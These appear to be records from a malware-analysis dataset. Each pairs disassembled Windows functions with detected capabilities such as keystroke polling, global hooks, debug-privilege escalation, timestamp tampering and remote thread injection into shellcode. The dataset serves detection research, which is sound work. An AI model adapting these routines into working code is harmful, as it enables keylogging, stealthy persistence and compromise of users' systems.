joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449f50
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44a083
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x16], 0
lea eax, [ebp - 0x16]
push eax
call sub.user32.dll_GetKeyboardLayoutNameA
mov dl, 1
mov eax, dword [0x41b1d4]
call fcn.0041b2a4
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x44a059
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0041b344
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x16]
mov ecx, 0xa
call fcn.004042dc
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x44a098
call fcn.00404378
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0041b3a8
lea ecx, [ebp - 4]
mov edx, 0x44a0d4
mov eax, dword [ebp - 0xc]
call fcn.0041b5d8
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0040d320
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x44a03c
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x44a0e0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
call ebx
movzx eax, word [eax + 0x28]
and ax, 1
cmp ax, 1
sete byte [0x474f70]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a043
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret

Function at 0x44a130
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x44a177
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a15a
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a16b
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x44a177
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x44de00
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, byte [0x44de54]
test si, 4
je 0x44de15
or bl, 1
test si, 8
je 0x44de1f
or bl, 4
test si, 1
je 0x44de29
or bl, 8
test si, 2
je 0x44de33
or bl, 0x10
test si, 0x10
je 0x44de3d
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44de4c
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44de58
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, byte [0x44de94]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44de72
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44de81
or bl, 4
test esi, 0x20000000
je 0x44de8c
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x454ed0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x454ee2
add esp, 0xfffffff0
call fcn.0040360c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419d84
mov eax, dword [0x475b48]
mov dword [eax + 4], ebx
mov dword [eax], 0x455274
mov eax, dword [0x475b54]
mov dword [eax + 4], ebx
mov dword [eax], 0x455280
mov eax, ebx
call fcn.0045528c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x450f94
push eax
push 0
push 0
mov eax, dword [0x475cb8]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41be7c]
call fcn.0041d624
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41be7c]
call fcn.0041d624
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41be7c]
call fcn.0041d624
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004556c8
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45558c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45558c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45558c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45501f
call fcn.00403664
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x455370
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45551b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4554fc
mov dl, 1
mov eax, dword [0x411fe0]
call fcn.004032b8
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040406c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4554eb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00442278
test al, al
je 0x4554de
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45552c
lea eax, [ebp - 0x254]
call fcn.00408f10
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4554de
xor eax, eax
push ebp
push 0x4554d7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x455564
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4554c0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004042dc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4554c0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004042dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4554de
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4553e1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.00415cd4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455522
lea eax, [ebp - 0x260]
call fcn.0040406c
ret

Function at 0x455ea0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x476b74]
cmp byte [eax + 0xad], 0
jne 0x455f11
cmp dword [0x476b8c], 0
jne 0x455ed2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x455e5c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x476b8c], eax
cmp dword [0x476b88], 0
jne 0x455eed
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x476b88], eax
cmp dword [0x476b90], 0
jne 0x455f11
push esp
push 0
push 0
push 0x455e00
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x476b90], eax
pop edx
ret
Function at 0x4560e4
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4560fb
add esp, 0xfffffff0
call fcn.0040360c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419d84
mov eax, dword [0x475c98]
cmp word [eax + 2], 0
jne 0x456123
mov eax, dword [0x475c98]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00457b24
mov eax, dword [0x475d64]
cmp word [eax + 2], 0
jne 0x45613d
mov eax, dword [0x475d64]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00457d30
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x411bbc]
call fcn.004032b8
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x41c980]
call fcn.00424108
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x4562ec
mov eax, dword [0x475bb0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004244dc
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45845c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x475bb0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c674
test eax, eax
je 0x456244
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408930
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c6a8
test eax, eax
je 0x456258
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004042dc
push ebx
push 0x457684
call fcn.0041aeec
mov dword [ebx + 0xc8], eax
mov eax, dword [0x475a84]
cmp byte [eax], 0
jne 0x4562a2
mov eax, ebx
call fcn.00456430
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.00458638
mov eax, ebx
call fcn.00459188
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4562e2
call fcn.00403664
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4566b0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x476b74]
cmp dword [eax + 0x30], 0
je 0x45675a
cmp dword [ebx + 0x94], 0
jne 0x456754
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x456640
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x456754
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45671a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x456754
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413f38
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x456729
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45746c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4574a1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040415c
jmp 0x4574ae
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004040c0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45881c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45888a
mov eax, esi
call fcn.0043d1e4
test al, al
je 0x45888a
mov eax, dword [ebx + 0x84]
call fcn.0043cee4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45888a
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xec]
test al, al
je 0x45887e
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043cee4
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00435f14
jmp 0x45888a
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.00458658
pop esi
pop ebx
ret
Function at 0x45d400
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45d42e
mov eax, ebx
call fcn.0045deb4
cmp dword [ebx + 0x40], 0
je 0x45d427
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45d49f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45d491
cmp dword [ebx + 8], 0
je 0x45d450
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45d462
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45d491
cmp dword [ebx + 8], 0
je 0x45d443
cmp eax, 3
je 0x45d475
dec eax
jne 0x45d443
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45d443
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45d443
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45d4bd
cmp dword [ebx + 0x14], 0xcc
je 0x45d4bd
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045d4c8
pop ebx
ret

Function at 0x471e30
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
xor eax, eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
xor eax, eax
push ebp
push 0x471f48
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea edx, [ebp - 0x108]
lea eax, [ebp - 0x104]
call fcn.00408aa0
push dword [ebp - 0x108]
push 0x471f5c
push 0x471f68
mov eax, 0x476c78
mov edx, 3
call fcn.004043ec
call fcn.0047212c
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.00402a1c
mov eax, dword [ebp - 0x10c]
mov edx, dword [0x476c78]
call fcn.004720c0
lea edx, [ebp - 0x110]
lea eax, [ebp - 0x104]
call fcn.00408aa0
mov eax, dword [ebp - 0x110]
call fcn.00471f8c
test al, al
jne 0x471f03
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.00402a1c
mov eax, dword [ebp - 0x114]
mov edx, dword [0x476c74]
call fcn.004720c0
mov eax, 0x471f7c
call fcn.0047250c
push 0x32
call sub.kernel32.dll_Sleep
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4721ec
push 0
push 0
call sub.kernel32.dll_CreateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x471f4f
lea eax, [ebp - 0x114]
mov edx, 4
call fcn.00404090
ret

Function at 0x4720c0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040451c
mov eax, dword [ebp - 8]
call fcn.0040451c
xor eax, eax
push ebp
push 0x47211e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
call fcn.0040452c
push eax
mov eax, dword [ebp - 4]
call fcn.0040452c
push eax
call sub.kernel32.dll_CopyFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x472125
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404090
ret
Function at 0x47212c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
mov eax, 0x4721e0
call fcn.0040af74
fstp qword [ebp - 0x20]
wait
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.00408864
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 2]
push eax
call sub.kernel32.dll_DosDateTimeToFileTime
mov eax, 0x4721e0
call fcn.0040af74
fstp qword [ebp - 0x20]
wait
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.00408864
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 2]
push eax
call sub.kernel32.dll_DosDateTimeToFileTime
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov eax, dword [0x476c78]
call fcn.0040452c
push eax
call sub.kernel32.dll_CreateFileA
lea edx, [ebp - 0xc]
push edx
push 0
lea edx, [ebp - 0xc]
push edx
push eax
call sub.kernel32.dll_SetFileTime
push 7
mov eax, dword [0x476c78]
call fcn.0040452c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov esp, ebp
pop ebp
ret
Function at 0x47250c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040451c
xor eax, eax
push ebp
push 0x4726b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040452c
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.00404264
mov eax, dword [ebp - 0x10]
call fcn.004723e8
mov ebx, eax
mov al, 1
call fcn.00472724
push ebx
push 0
push 0x2a
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x472699
call sub.kernel32.dll_GetCurrentProcessId
mov dword [0x476c98], eax
push 0x4726c8
call sub.kernel32.dll_GetModuleHandleA_2
mov esi, eax
push 0x4726d4
push esi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476c7c], eax
push 0x4726e0
push esi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476c80], eax
push 0x4726f4
push esi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476c84], eax
push 0x472704
push esi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476c88], eax
push 0x472710
push esi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476c8c], eax
push 0x47271c
push esi
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476c90], eax
mov eax, dword [0x476c78]
call fcn.0040432c
push eax
mov eax, dword [0x476c78]
call fcn.0040452c
mov edx, eax
mov eax, 0x476ca0
pop ecx
call fcn.00408958
mov eax, dword [0x476c74]
call fcn.0040432c
push eax
mov eax, dword [0x476c74]
call fcn.0040452c
mov edx, eax
mov eax, 0x476da0
pop ecx
call fcn.00408958
mov esi, 0xd90
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push esi
push 0x476c7c
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov esi, 0x5000
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push esi
push 0x472358
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x476fe0
push 0
mov eax, dword [ebp - 8]
push eax
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov dword [0x476fe4], eax
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4726be
lea eax, [ebp - 0x10]
call fcn.0040406c
lea eax, [ebp - 4]
call fcn.0040406c
ret
Function at 0x472724
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4727a6
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x4727b0
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [esp], 0
je 0x47276c
mov dword [esp + 0x18], 2
jmp 0x472772
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, ebx
add esp, 0x1c
pop ebx
ret

Function at 0x4733fc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x473463
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, ebx
lea edx, [ebp - 0x100]
mov ecx, pe_nt_image_headers32
call fcn.004042dc
mov eax, dword [ebx]
call fcn.0040432c
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0
je 0x473455
mov eax, ebx
mov edx, 0x473478
call fcn.00404334
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47346a
ret
Function at 0x409580
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46a14b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045e9b0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409602
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045c75d
mov eax, dword [eax]
push 0x4811d0
push eax
call fcn.0044ebe4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045ec3b
test bl, bl
je 0x409602
push 0x4811d0
lea ecx, [esp + 0xc]
call fcn.0045efcb
push 0x484d4c
lea ecx, [esp + 0xc]
call fcn.0045efcb
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40963e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045ec3b
jmp 0x409709
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4096c2
lea edx, [esp + 0x7c]
push 0x484d48
push edx
call fcn.0044ebe4
add esp, 8
test eax, eax
je 0x4096c2
lea eax, [esp + 0x7c]
push 0x484d44
push eax
call fcn.0044ebe4
add esp, 8
test eax, eax
je 0x4096c2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409652
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045ec3b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x409f00
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409f62
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc